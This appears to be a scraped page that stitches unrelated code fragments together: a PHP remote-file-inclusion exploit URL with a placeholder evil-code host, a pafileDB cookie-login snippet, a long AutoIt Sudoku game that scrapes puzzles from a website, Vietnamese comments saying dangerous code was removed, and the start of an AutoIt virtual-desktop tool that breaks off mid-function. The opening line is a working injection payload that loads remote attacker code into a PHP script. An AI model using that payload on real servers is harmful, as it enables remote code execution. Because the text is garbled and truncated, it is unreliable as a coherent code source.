http://localhost/path/basic.inc.php?basepath_start=http://EvElCoDe.txt?

if (isset($_COOKIE['pafiledb_user']) && isset($_COOKIE['pafiledb_pass'])) { //If the cookie exists, do all this:
    
    $admininfo = array();
    if (checkpass($_COOKIE['pafiledb_user'], $_COOKIE['pafiledb_pass'], $admininfo)) {
        //checkpass() returned true, so the user exists
        
        //$adminloggedin is a var used throughout the script to see if someone's logged in.
        $adminloggedin = true;
        $smarty->assign('admininfo', $admininfo[0]);
        
    } else { //The cookie exists, but the user/pass don't match
...

; created mostly by fisofo, with code scraps borrowed from all over ;)
; check "about" for credits.

#NoTrayIcon
#include <IE.au3>
#include <GuiConstants.au3>

Dim $aSudArray[9][9]
Dim $aOrigArray[9][9]
Dim $aEnumArray[10]
Dim $smallbuttons[9][9][9]
Dim $largebuttons[9][9]
Dim $IDtoPosition[1000][3]
Dim $Difficulty = 1
Dim $DifficultyText = "Easy"
Dim $Progress = 0
Dim $increment = 1
Dim $ProgressBar
Dim $HelperCheckbox
Dim $PossibilityArray[9][9][10]
Dim $SolutionsArray[81][3]
Dim	$SolutionsCount = 0
Dim $isSolved = 0

_MainMenu()
;~ _StartSudoku() ; for testing

Func _MainMenu()
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 7)
	GuiCreate("Sudoku-It!", 222, 403,-1, -1 , BitOR($WS_OVERLAPPEDWINDOW, $WS_CLIPSIBLINGS))
	
	$Progress = 0
	$ButtonEasy = GuiCtrlCreateButton("Easy", 10, 40, 200, 50)
	GUICtrlSetFont($ButtonEasy, 12, 700)
	$ButtonMedium = GuiCtrlCreateButton("Medium", 10, 100, 200, 50)
	GUICtrlSetFont($ButtonMedium, 12, 700)
	$ButtonHard = GuiCtrlCreateButton("Hard", 10, 160, 200, 50)
	GUICtrlSetFont($ButtonHard, 12, 700)
	$ButtonInsane = GuiCtrlCreateButton("Insane", 10, 220, 200, 50)
	GUICtrlSetFont($ButtonInsane, 12, 700)
	$ButtonCustom = GuiCtrlCreateButton("Custom", 10, 280, 200, 50)
	GUICtrlSetFont($ButtonCustom, 12, 700)
	$ButtonAbout = GuiCtrlCreateButton("About", 60, 360, 100, 30)
	$Label_GUI = GuiCtrlCreateLabel("Select Difficulty Level", 10, 10, 200, 20, $SS_CENTER)
	GUICtrlSetFont($Label_GUI, 14, 700)
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 0)
	$ProgressBar = GuiCtrlCreateProgress(10, 340, 200, 10, $PBS_SMOOTH)

	GuiSetState()
	While 1
		$msg = GuiGetMsg()
		Select
			Case $msg = $GUI_EVENT_CLOSE
				Exit
			Case $msg = $ButtonEasy
				$Difficulty = 1
				$DifficultyText = "Easy"
				ExitLoop
			Case $msg = $ButtonMedium
				$Difficulty = 2
				$DifficultyText = "Medium"
				ExitLoop
			Case $msg = $ButtonHard
				$Difficulty = 3
				$DifficultyText = "Hard"
				ExitLoop
			Case $msg = $ButtonInsane
				$Difficulty = 4
				$DifficultyText = "Insane"
				ExitLoop
			Case $msg = $ButtonCustom
				$Difficulty = 1
				$DifficultyText = "Custom!"
				For $row = 0 to 8
					For $col = 0 to 8
						$aSudArray[$row][$col] = 0
						$aOrigArray[$row][$col] = 0
					Next
				Next
				GUIDelete()
				_SudokuGUI()
			Case $msg = $ButtonAbout
				MsgBox(64, "About", "Mostly created by Fisofo..." & Chr(13) & Chr(13) & Chr(13) & _
						"But Sudokudos! to:" & Chr(13) & Chr(13) & _
						"nfwu for the Game GUI and" & Chr(13) & _
						"PsaltyDS for the Progress bar" & Chr(13) & Chr(13) & _
						"To the forum goers that" & Chr(13) & _
						"put up with my questions ;)" & Chr(13) & Chr(13) & _
						"And to my loverly wife," & Chr(13) & _
						"who lets me stay up late coding!")
			Case Else
				;;;
		EndSelect
	WEnd
	_SetProgColor()
	GUICtrlSetState($ButtonEasy, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonMedium, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonHard, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonInsane, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonCustom, $GUI_DISABLE)
	_SetProgColor()
	GUICtrlSetState($ButtonAbout, $GUI_DISABLE)
	_SetProgColor()
	_StartSudoku()
EndFunc   ;==>_MainMenu

Func _StartSudoku()
	_SudokuGenerator()
	GUIDelete()
	_SudokuGUI()
EndFunc

Func _SudokuGUI() ; credit to nfwu for the math behind the GUI!
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 0)

	Dim $GUI = GUICreate("Sudoku-It! Game - " & $DifficultyText, 3 * 230 - 10, 3 * 230 + 50)

	For $h = 0 To 8
		For $i = 0 To 8
			GUICtrlCreateGroup("", 5 + Mod($h, 3) * 230 + Mod($i, 3) * 70, _
					0 + Int($h / 3) * 230 + Int($i / 3) * 70, 70, 75)
			For $j = 0 To 8
				$smallbuttons[$h][$i][$j] = _CreateSmallButton($h, $i, $j)
				$IDtoPosition[$smallbuttons[$h][$i][$j]][0] = $h
				$IDtoPosition[$smallbuttons[$h][$i][$j]][1] = $i
				$IDtoPosition[$smallbuttons[$h][$i][$j]][2] = $j
				GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_HIDE)
			Next
		Next
	Next
	For $h = 0 To 8
		For $i = 0 To 8
			$largebuttons[$h][$i] = _CreateLargeButton($h, $i, $j)
			$IDtoPosition[$largebuttons[$h][$i]][0] = $h
			$IDtoPosition[$largebuttons[$h][$i]][1] = $i
			$IDtoPosition[$largebuttons[$h][$i]][2] = -1
			GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
		Next
	Next

	$Progress = 0
	$ProgressBar = GuiCtrlCreateProgress(155, 3 * 230 - 10, 290, 50, $PBS_SMOOTH)
	
	DllCall("uxtheme.dll", "none", "SetThemeAppProperties", "int", 7)
	$HelperCheckbox = GUICtrlCreateCheckbox("Helper Mode On/Off", 10, 3 * 230 - 10)
	GUICtrlSetState($HelperCheckbox, $GUI_UNCHECKED)
	$SolveButton = GUICtrlCreateButton("Solve", 10, 3 * 230 + 15)
	$ResetButton = GUICtrlCreateButton("Reset", 50, 3 * 230 + 15)
	$CheckButton = GUICtrlCreateButton("Check It!", 90, 3 * 230 + 15)
	$SudokuLabel = GUICtrlCreateLabel("Sudoku-It!", 460, 3 * 230 - 10, 3 * 230, 50)
	GUICtrlSetFont($SudokuLabel, 32, 700, 2)
	
	_InitGUI()
	_SudokuInitNormal()
	
	GuiSetState()
	While 1
		$msg = GuiGetMsg()
		Select
			Case $msg = $GUI_EVENT_CLOSE
				GUIDelete()
				_MainMenu()
			Case $msg >= $smallbuttons[0][0][0] AND $msg <= $smallbuttons[8][8][8]
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator($msg)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuNormalMode("small", $msg)
				EndIf
			Case $msg >= $largebuttons[0][0] AND $msg <= $largebuttons[8][8]
				GUICtrlSetData($msg, 0)
				$row = _GridConvert($IDtoPosition[$msg][0], $IDtoPosition[$msg][1], "row")
				$col = _GridConvert($IDtoPosition[$msg][0], $IDtoPosition[$msg][1], "col")
				$aSudArray[$row][$col] = 0
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator(-1)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuNormalMode("big", $msg)
				EndIf
			Case $msg = $HelperCheckbox
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator(-1)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuInitNormal()
				EndIf
			Case $msg = $SolveButton
				_SudokuSolver()
			case $msg = $CheckButton
				$isSolved = _SudokuEliminator(-1)
				if $isSolved = 81 Then
					MsgBox(0,"Congrats", "You're done!") ; obviously not done
				Else
					MsgBox(0,"Keep Going...","Have you tried the Solve Button?")
				EndIf
			Case $msg = $ResetButton
				For $row = 0 to 8
					for $col = 0 to 8
						$h = _GridConvert($row, $col, "h")
						$i = _GridConvert($row, $col, "i")
						if $aSudArray[$row][$col] <> 0 Then
							$aSudArray[$row][$col] = $aOrigArray[$row][$col]
						EndIf
					Next
				Next
				if GUICtrlRead($HelperCheckbox) = $GUI_CHECKED Then
					_SudokuEliminator(-1)
				Elseif GUICtrlRead($HelperCheckbox) = $GUI_UNCHECKED Then
					_SudokuInitNormal()
				EndIf
			Case Else
				;
		EndSelect
	WEnd
EndFunc   ;==>_SudokuGUI

Func _SudokuInitNormal()
	For $row = 0 to 8
		for $col = 0 to 8
			$h = _GridConvert($row, $col, "h")
			$i = _GridConvert($row, $col, "i")
			if $aSudArray[$row][$col]= 0 Then
				GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
				for $aCell = 0 to 8
					GUICtrlSetState($smallbuttons[$h][$i][$aCell],$GUI_SHOW)
				Next
			Else
				GUICtrlSetData($largebuttons[$h][$i], $aSudArray[$row][$col])
				GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
				for $aCell = 0 to 8
					GUICtrlSetState($smallbuttons[$h][$i][$aCell],$GUI_HIDE)
				Next
			EndIf
		Next
	Next
EndFunc   ;==>_SudokuInitNormal

Func _InitGUI()
	For $row = 0 to 8
		for $col = 0 to 8
			$h = _GridConvert($row, $col, "h")
			$i = _GridConvert($row, $col, "i")
			GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
			GUICtrlSetFont($largebuttons[$h][$i],14,1000)
			if $aSudArray[$row][$col] <> 0 Then
				GUICtrlSetState($largebuttons[$h][$i],$GUI_DISABLE)
			EndIf
		Next
	Next
EndFunc   ;==>_InitGUI

Func _SudokuGenerator()
	$oIE = _IECreate("http://view.websudoku.com/?level=" & $Difficulty, 0, 0, 0) ; Disable for testing
;~ 	$oIE = _IEAttach("http://view.websudoku.com/?level=4", "URL")   ; for testing, open in seperate browser before running script
	_SetProgColor()
	while 1
		if _IEPropertyGet($oIE, "readystate") = 4 Then
			ExitLoop
		Else
			_SetProgColor()
		EndIf
	WEnd
	_SetProgColor()
	$oSudForm = _IEFormGetObjByName($oIE, "board")
	_SetProgColor()
	$oSudInputs = _IEFormElementGetCollection($oSudForm)
	_SetProgColor()
	
	$row = 0
	$col = 0
	For $oSudInput in $oSudInputs
		$aSudArray[$row][$col] = _IEFormElementGetValue($oSudInput)
		$aOrigArray[$row][$col] = $aSudArray[$row][$col]
		_SetProgColor()
		If $row = 8 and $col = 8 Then
			ExitLoop
		EndIf
		If $col = 8 Then
			$col = 0
			$row = $row + 1
		Else
			$col = $col + 1
		EndIf
	Next
	
	while $Progress < 1000
		_SetProgColor()
	WEnd
	
	_IEQuit($oIE)   ; Disable for testing
EndFunc   ;==>_SudokuGenerator

Func _SudokuNormalMode($button, $CID)
	if $button = "small" Then
		;----- small button clicked -----;
		; set value in array to number from small box
		$row = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "row")
		$col = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "col")
		$aSudArray[$row][$col] = GUICtrlRead($CID)
		
		$h = _GridConvert($row, $col, "h")
		$i = _GridConvert($row, $col, "i")
		
		;hide small buttons in this cell
		for $j = 0 to 8
			GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_HIDE)
		Next
		
		;show big button in this cell
		GUICtrlSetData($largebuttons[$h][$i], $aSudArray[$row][$col])
		GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
	Elseif $button = "big" Then
		;----- big button clicked -----;
		; value is already zero in button and array
		$row = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "row")
		$col = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "col")
		$h = _GridConvert($row, $col, "h")
		$i = _GridConvert($row, $col, "i")
		
		;show small buttons in this cell
		for $j = 0 to 8
			GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_SHOW)
		Next
		
		; hide big button in this cell
		GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
	EndIf
EndFunc   ;==>_SudokuNormalMode

Func _SudokuSolver()
	; Methods
	; 1. check for cells that have one possibility
	; 2. check boxes/rows/cols for a cell that has a possibility no other cell has
	; 3. Not implemented:Check for cells that depend on eachother to eliminate other possibilities?
	GUICtrlSetState($HelperCheckbox, $GUI_CHECKED)
	$count = 0
	$DoneYet = _SudokuEliminator(-1)
	while 1
		_SudokuSolver1()
		_SudokuSolver2()
		$CantSolve = $DoneYet
		$DoneYet = _SudokuEliminator(-1)
		if $DoneYet = 81 Then
			ExitLoop
		ElseIf $count = 2 Then
			ExitLoop
		ElseIf $CantSolve = $DoneYet Then
			$count = $count + 1
		EndIf
	WEnd
	
	while $Progress <> 0
		_SetProgColor()
	WEnd
EndFunc   ;==>_SudokuNormalMode

Func _SudokuSolver1()
	_SudokuEliminator(-1)
	; done checking board, all case 1 solutions are in $SolutionsArray
	for $x = 0 to $SolutionsCount - 1
		$aSudArray[$SolutionsArray[$x][0]][$SolutionsArray[$x][1]] = $SolutionsArray[$x][2]
	Next
EndFunc   ;==>_SudokuSolver1

Func _SudokuSolver2()
	Dim $SolutionsArray2[81][3]
	Dim $Case2Array[10][3]

	$SolutionsCount = 0
	
	For $row = 0 to 8
		; Check Column
		For $x = 0 to 9
			$Case2Array[$x][2] = 0
		Next
		For $inCol = 0 to 8
			For $aChoice = 1 to 9
				_SetProgColor()
				if $PossibilityArray[$row][$inCol][$aChoice] = 1 Then
					$Case2Array[$aChoice][0] = $row
					$Case2Array[$aChoice][1] = $inCol
					$Case2Array[$aChoice][2] = $Case2Array[$aChoice][2] + 1
				EndIf
			Next
		Next
		; done checking Column, check for $aChoice's = 1
		for $aChoice = 1 to 9
			_SetProgColor()
			if $Case2Array[$aChoice][2] = 1 Then
				$SolutionsArray2[$SolutionsCount][0] = $Case2Array[$aChoice][0]
				$SolutionsArray2[$SolutionsCount][1] = $Case2Array[$aChoice][1]
				$SolutionsArray2[$SolutionsCount][2] = $aChoice
				$SolutionsCount = $SolutionsCount + 1
			EndIf
		Next
	Next
	
	For $col = 0 to 8
		; Check Row
		For $x = 0 to 9
			$Case2Array[$x][2] = 0
		Next
		For $inRow = 0 to 8
			For $aChoice = 1 to 9
				_SetProgColor()
				if $PossibilityArray[$inRow][$col][$aChoice] = 1 Then
					$Case2Array[$aChoice][0] = $inRow
					$Case2Array[$aChoice][1] = $col
					$Case2Array[$aChoice][2] = $Case2Array[$aChoice][2] + 1
				EndIf
			Next
		Next
		; done checking Row, check for $aChoice's = 1
		for $aChoice = 1 to 9
			_SetProgColor()
			if $Case2Array[$aChoice][2] = 1 Then
				$SolutionsArray2[$SolutionsCount][0] = $Case2Array[$aChoice][0]
				$SolutionsArray2[$SolutionsCount][1] = $Case2Array[$aChoice][1]
				$SolutionsArray2[$SolutionsCount][2] = $aChoice
				$SolutionsCount = $SolutionsCount + 1
			EndIf
		Next
	Next
	
	; now check $PossibilityArray for each box to find case 2 solutions
	For $row = 0 to 6 step 3
		for $col = 0 to 6 step 3
			For $x = 0 to 9
				$Case2Array[$x][2] = 0
			Next
			$aStrCol = floor($col/3)*3
			$aEndCol = floor($col/3)*3+2
			$aStrRow = floor($row/3)*3
			$aEndRow = floor($row/3)*3+2
			for $inRow = $aStrRow to $aEndRow
				for $inCol = $aStrCol to $aEndCol
					for $aChoice = 1 to 9
						_SetProgColor()
						if $PossibilityArray[$inRow][$inCol][$aChoice] = 1 Then
							$Case2Array[$aChoice][0] = $inRow
							$Case2Array[$aChoice][1] = $inCol
							$Case2Array[$aChoice][2] = $Case2Array[$aChoice][2] + 1
						EndIf
					Next
				Next
			Next
			; done checking box, check for $aChoice's = 1
			for $aChoice = 1 to 9
				_SetProgColor()
				if $Case2Array[$aChoice][2] = 1 Then
					$SolutionsArray2[$SolutionsCount][0] = $Case2Array[$aChoice][0]
					$SolutionsArray2[$SolutionsCount][1] = $Case2Array[$aChoice][1]
					$SolutionsArray2[$SolutionsCount][2] = $aChoice
					$SolutionsCount = $SolutionsCount + 1
				EndIf
			Next
		Next
	Next
	
	
	for $x = 0 to $SolutionsCount - 1
		$aSudArray[$SolutionsArray2[$x][0]][$SolutionsArray2[$x][1]] = $SolutionsArray2[$x][2]
	Next
EndFunc   ;==>_SudokuSolver2

Func _SudokuSolver3() ; doesn't quite work
	Dim $Case3Array[10][6]
	
	; now check $PossibilityArray for each box to find case 3 solutions
	For $row = 0 to 6 step 3
		for $col = 0 to 6 step 3
			For $x = 0 to 9
				$Case3Array[$x][2] = 0
				$Case3Array[$x][5] = 0
			Next
			$aStrCol = floor($col/3)*3
			$aEndCol = floor($col/3)*3+2
			$aStrRow = floor($row/3)*3
			$aEndRow = floor($row/3)*3+2
			for $inRow = $aStrRow to $aEndRow
				for $inCol = $aStrCol to $aEndCol
					for $aChoice = 1 to 9
						_SetProgColor()
						If $Case3Array[$aChoice][5] > 1 Then
							;skip
						Elseif $PossibilityArray[$inRow][$inCol][$aChoice] = 1 Then
							If $Case3Array[$aChoice][2] = 0 Then
								$Case3Array[$aChoice][0] = $inRow
								$Case3Array[$aChoice][1] = $inCol
								$Case3Array[$aChoice][2] = $Case3Array[$aChoice][2] + 1
							ElseIf $Case3Array[$aChoice][5] = 0 Then
								$Case3Array[$aChoice][3] = $inRow
								$Case3Array[$aChoice][4] = $inCol
								$Case3Array[$aChoice][5] = $Case3Array[$aChoice][5] + 1
							Else
								$Case3Array[$aChoice][5] = $Case3Array[$aChoice][5] + 1
							EndIf
						EndIf
					Next
				Next
			Next
			; done checking box, check for $aChoice's = 1
			for $aChoice = 1 to 9
				_SetProgColor()
				if $Case3Array[$aChoice][5] = 1 Then
					if $Case3Array[$aChoice][0] = $Case3Array[$aChoice][3] Then
						; we found 2 unique in box in a row, eliminate others in this row
						For $inCol = 0 to 8
							$inRow = $Case3Array[$aChoice][0]
							if $inCol = $Case3Array[$aChoice][1] or $inCol = $Case3Array[$aChoice][4] Then
								; do nothing
							Else
								$PossibilityArray[$inRow][$inCol][$aChoice] = 0
								$h = _GridConvert($inRow, $inCol, "h")
								$i = _GridConvert($inRow, $inCol, "i")
								GUICtrlSetState($smallbuttons[$h][$i][$aChoice-1],$GUI_HIDE)
							EndIf
						Next
					ElseIf $Case3Array[$aChoice][1] = $Case3Array[$aChoice][4] Then
						; we found 2 unique in box in a col, eliminate others in this col
						For $inRow = 0 to 8
							$inCol = $Case3Array[$aChoice][1]
							if $inRow = $Case3Array[$aChoice][0] or $inRow = $Case3Array[$aChoice][3] Then
								; do nothing
							Else
								$PossibilityArray[$inRow][$inCol][$aChoice] = 0
								$h = _GridConvert($inRow, $inCol, "h")
								$i = _GridConvert($inRow, $inCol, "i")
								GUICtrlSetState($smallbuttons[$h][$i][$aChoice-1],$GUI_HIDE)
							EndIf
						Next
					EndIf
				EndIf
			Next
		Next
	Next
EndFunc   ;==>_SudokuSolver3

Func _SudokuEliminator($CID)
	Dim $SolutionsArray[81][3]
	Dim $PossibilityArray[9][9][10]
	$SolutionsCount = 0
	
	$isSolved = 0
	if $CID = -1 Then
		;----- Eliminator/check all = will check entire board and reset as necessary
		$StartCol = 0
		$StartRow = 0
		$EndCol = 8
		$EndRow = 8
		$HideNumber = 0 ;value to run main program checks on
	Else
		;----- Eliminator/small button clicked -----;
		; set value in array to number from small box
		$row = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "row")
		$col = _GridConvert($IDtoPosition[$CID][0], $IDtoPosition[$CID][1], "col")
		$aSudArray[$row][$col] = GUICtrlRead($CID)
		$HideNumber = $aSudArray[$row][$col]
		
		$StartCol = $col
		$StartRow = $row
		$EndCol = $col
		$EndRow = $row
	EndIf
	
	For $row = $StartRow to $EndRow
		for $col = $StartCol to $EndCol
			$h = _GridConvert($row, $col, "h")
			$i = _GridConvert($row, $col, "i")
			
			If $CID <> -1 Then ;----- Eliminator/sb clicked = hide the small buttons in this cell
				for $j = 0 to 8
					GUICtrlSetState($smallbuttons[$h][$i][$j],$GUI_HIDE)
				Next
			EndIf
			
			; in normal mode, this "if" runs through any cell that does not have a big button
			; in sb clicked mode, this "if" runs through just the cell that was clicked
			if $aSudArray[$row][$col]= $HideNumber Then
				
				If $CID = -1 Then ;----- Eliminator/check all = here, this cell is value 0, so hide the big button
					GUICtrlSetState($largebuttons[$h][$i],$GUI_HIDE)
					For $x = 0 to 9
						$aEnumArray[$x] = True ;----- Eliminator/check all = initialize array of possible choices
					Next
				Else ;----- Eliminator/sb clicked = replace cell w/ big button of value = sb clicked
					GUICtrlSetData($largebuttons[$h][$i], $HideNumber)
					GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
				EndIf
				
				for $inCol = 0 to 8
					_SetProgColor()
					if $CID <> -1 Then ;----- Eliminator/sb clicked = hide the number clicked in this column
						$h = _GridConvert($row, $inCol, "h")
						$i = _GridConvert($row, $inCol, "i")
						GUICtrlSetState($smallbuttons[$h][$i][$HideNumber-1],$GUI_HIDE)
					ElseIf $aSudArray[$row][$inCol] <> 0 Then ;----- Eliminator/check all = check column cells that won't be possible to pick
						$aEnumArray[$aSudArray[$row][$inCol]] = False
						$PossibilityArray[$row][$inCol][$aSudArray[$row][$inCol]] = 0
					EndIf
				Next
				
				for $inRow = 0 to 8
					_SetProgColor()
					if $CID <> -1 Then ;----- Eliminator/sb clicked = hide the number clicked in this row
						$h = _GridConvert($inRow, $col, "h")
						$i = _GridConvert($inRow, $col, "i")
						GUICtrlSetState($smallbuttons[$h][$i][$HideNumber-1],$GUI_HIDE)
					ElseIf $aSudArray[$inRow][$col] <> 0 Then ;----- Eliminator/check all = check row cells that won't be possible to pick
						$aEnumArray[$aSudArray[$inRow][$col]] = False
						$PossibilityArray[$inRow][$col][$aSudArray[$inRow][$col]] = 0
					EndIf
				Next
				
				; define where the box starts/ends for row/col
				$aStrCol = floor($col/3)*3
				$aEndCol = floor($col/3)*3+2
				$aStrRow = floor($row/3)*3
				$aEndRow = floor($row/3)*3+2
				for $inRow = $aStrRow to $aEndRow
					for $inCol = $aStrCol to $aEndCol
						_SetProgColor()
						if $CID <> -1 Then ;----- Eliminator/sb clicked = hide the number clicked in this box
							$h = _GridConvert($inRow, $inCol, "h")
							$i = _GridConvert($inRow, $inCol, "i")
							GUICtrlSetState($smallbuttons[$h][$i][$HideNumber-1],$GUI_HIDE)
						ElseIf $aSudArray[$inRow][$inCol] <> 0 Then ;----- Eliminator/check all = check the current box for cells that can't be picked
							$aEnumArray[$aSudArray[$inRow][$inCol]] = False
							$PossibilityArray[$inRow][$inCol][$aSudArray[$inRow][$inCol]] = 0
						EndIf
					Next
				Next
				
				if $CID = -1 Then
					
					$count = 0
					for $aCell = 1 to 9
						_SetProgColor()
						if $aEnumArray[$aCell] = True Then  ;----- Eliminator/ check all = show/hide sb's for every cell in sudoku
							GUICtrlSetState($smallbuttons[$h][$i][$aCell-1],$GUI_SHOW)
							; for first case solution:
							$count = $count + 1
							$SolutionsArray[$SolutionsCount][0] = $row
							$SolutionsArray[$SolutionsCount][1] = $col
							$SolutionsArray[$SolutionsCount][2] = $aCell
							
							; for second case solution:
							$PossibilityArray[$row][$col][$aCell] = 1
						Else
							GUICtrlSetState($smallbuttons[$h][$i][$aCell-1],$GUI_HIDE)
							$PossibilityArray[$row][$col][$aCell] = 0
						EndIf
					Next
					
					if $count = 1 Then ; we found a cell that only has only one possibility!
						$SolutionsCount = $SolutionsCount + 1
					Else
						$SolutionsArray[$SolutionsCount][2] = -1
					EndIf
					
				EndIf
			Else
				; only get here in Eliminator/check all = set data and show large buttons for every cell that has been clicked.
				; also hide all small buttons for these same cells so that there's no overlap.
				$isSolved = $isSolved + 1
				GUICtrlSetData($largebuttons[$h][$i], $aSudArray[$row][$col])
				GUICtrlSetState($largebuttons[$h][$i],$GUI_SHOW)
				For $aCell = 1 to 9
					GUICtrlSetState($smallbuttons[$h][$i][$aCell-1],$GUI_HIDE)
					$PossibilityArray[$row][$col][$aCell] = 0
				Next
			EndIf
		Next
	Next
	while $Progress <> 0
		_SetProgColor()
	WEnd
	Return $isSolved
EndFunc   ;==>_SudokuEliminator

Func _SetProgColor() ; credit to PsaltyDS!
	if $Progress = 1000 Then
		$increment = -1
	elseif $Progress = 0 Then
		$increment = +1
	EndIf
	
	$Progress = $Progress + $increment
	If $Progress < 0 Then $Progress = 0
	If $Progress > 1000 Then $Progress = 1000
	GUICtrlSetData($ProgressBar, Int($Progress / 10))

	$Redness = Int(255 - ($Progress / 1000 * 512))
	If $Redness < 0 Then $Redness = 0

	$Greeness = Int(($Progress / 1000 * 512) - 257)
	If $Greeness < 0 Then $Greeness = 0

	$Blueness = Int(255 - ($Redness + $Greeness))

	$ProgColor = ($Redness * 256 * 256) + ($Greeness * 256) + $Blueness
	GUICtrlSetColor($ProgressBar, $ProgColor)
EndFunc   ;==>_SetProgColor

Func _GridConvert($x, $y, $var) ;$x = $row = $h, $y = $col = $i
	If $var = "row" or $var = "h" Then
		Return floor($x / 3)*3 + floor($y / 3)
	ElseIf $var = "col" or $var = "i" Then
		Return ($x - floor($x/3)*3) * 3 + $y - floor($y/3)*3
	EndIf
EndFunc   ;==>_GridConvert

Func _CreateSmallButton($h, $i, $j)
	Return GUICtrlCreateButton($j + 1, 10 + Mod($h, 3) * 230 + Mod($i, 3) * 70 + Mod($j, 3) * 20, _
			10 + Int($h / 3) * 230 + Int($i / 3) * 70 + Int($j / 3) * 20, 20, 20)
EndFunc   ;==>_CreateSmallButton

Func _CreateLargeButton($h, $i, $j)
	Return GUICtrlCreateButton($j + 1, 10 + Mod($h, 3) * 230 + Mod($i, 3) * 70, _
			10 + Int($h / 3) * 230 + Int($i / 3) * 70, 60, 60)
EndFunc   ;==>_CreateLargeButton

;Xin được remove vì đoạn mã khá nguy hiểm!

;Xin được remove vì đoạn mã khá nguy hiểm!

#include <GUIConstants.au3>
#Include <Constants.au3>
#NoTrayIcon
Opt("TrayMenuMode",1)

FileDelete(@tempdir & "\pangaeadesktops.ini")
HotKeySet("#{ESC}","_panic")
HotKeySet("#{LEFT}","_prevdesk")
HotKeySet("#{RIGHT}","_nextdesk")
HotKeySet("^#{LEFT}","_movetoprev")
HotKeySet("^#{RIGHT}","_movetonext")
HotKeySet("#{DOWN}", "_QuickSelect")

Global $activedesk = 1,$winlist[500],$hwnd,$textwin,$texton = 0,$texttime,$desktopitem, $inaction = 0

_winget()

$desktopitem = TrayCreateItem("Desktop " & $activedesk)
TrayItemSetState(-1,$TRAY_DISABLE)
TrayCreateItem("")
$nextitem = TrayCreateItem("Next desktop	    win + right")
$previtem = TrayCreateItem("Prev desktop	    win + left")
TrayCreateItem("")
$tonextitem = TrayCreateItem("Move to next desktop	   ctrl + win + right")
$toprevitem = TrayCreateItem("Move to prev desktop	   ctrl + win + left")
TrayCreateItem("")
$displayall = TrayCreateItem("Quick Desktop Select	    win + down")
TrayCreateItem("")
$aboutitem = TrayCreateItem("About")
$exititem  = TrayCreateItem("Exit	    win + esc")

TraySetState()

While 1
	$msg = TrayGetMsg()
	Select
		Case $msg = $nextitem
			_nextdesk()
		Case $msg = $previtem
			_prevdesk()
		Case $msg = $tonextitem
			_movetonext()
		Case $msg = $toprevitem
			_movetoprev()
		Case $msg = $displayall
			_QuickSelect()
		Case $msg = $aboutitem
			Msgbox(64,"About:","Pangaea Desktops" & @crlf & "by Rakudave, Pangaea WorX 2006" & @crlf & @crlf & "www.pangaeaworx.ch.vu")
		Case $msg = $exititem
			_panic()
	EndSelect
	If $texton = 1 then
		If TimerDiff($texttime) > 2000 Then _text2()
	Endif
WEnd

Func _showwins()
	$var = IniReadSection(@tempdir & "\pangaeadesktops.ini", $activedesk)
	If @error Then 
		return
	Else
		For $x = 1 To $var[0][0]
			WinSetState($var[($var[0][0] +1) -$x][0],"",@SW_SHOW)
		Next
	EndIf
EndFunc   ;==>_showwins

Func _hidewins()
	$var = IniReadSection(@tempdir & "\pangaeadesktops.ini", $activedesk)
	If @error Then 
		return
	Else
		For $x = 1 To $var[0][0]
			WinSetState($var[($var[0][0] +1) -$x][0],"",@SW_HIDE)
		Next
	EndIf
EndFunc   ;==>_hidewins

Func _QuickSelect()
	If $inaction = 1 Then Return
	$inaction = 1
	For $i = 1 To 4
		If $activedesk = $i Then
			DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc" & $i & ".jpg", "int", 85)
		Else
			_hidewins()
			$olddesk = $activedesk
			$activedesk = $i
			_showwins()
			DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc" & $i & ".jpg", "int", 85)
			_hidewins()
			$activedesk = $olddesk
			_showwins()
		EndIf
	Next
	$hwnd = GUICreate("AnimatedWindow",@desktopwidth,@desktopheight,0,0,$WS_POPUP,$WS_EX_TOOLWINDOW + $WS_EX_TOPMOST)
	$one = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc1.jpg",0,0,@DesktopWidth/2,@DesktopHeight/2)
	$two = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc2.jpg",@DesktopWidth/2,0,@DesktopWidth/2,@DesktopHeight/2)
	$three = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc3.jpg",0,@DesktopHeight/2,@DesktopWidth/2,@DesktopHeight/2)
	$four = GUICtrlCreatePic(@tempdir & "\pangaeaprtsc4.jpg",@DesktopWidth/2,@DesktopHeight/2,@DesktopWidth/2,@DesktopHeight/2)
	GUISetState()
	While 1
		Switch GUIGetMsg()
			Case $one
				GUIDelete()
				_hidewins()
				$activedesk = 1
				_showwins()
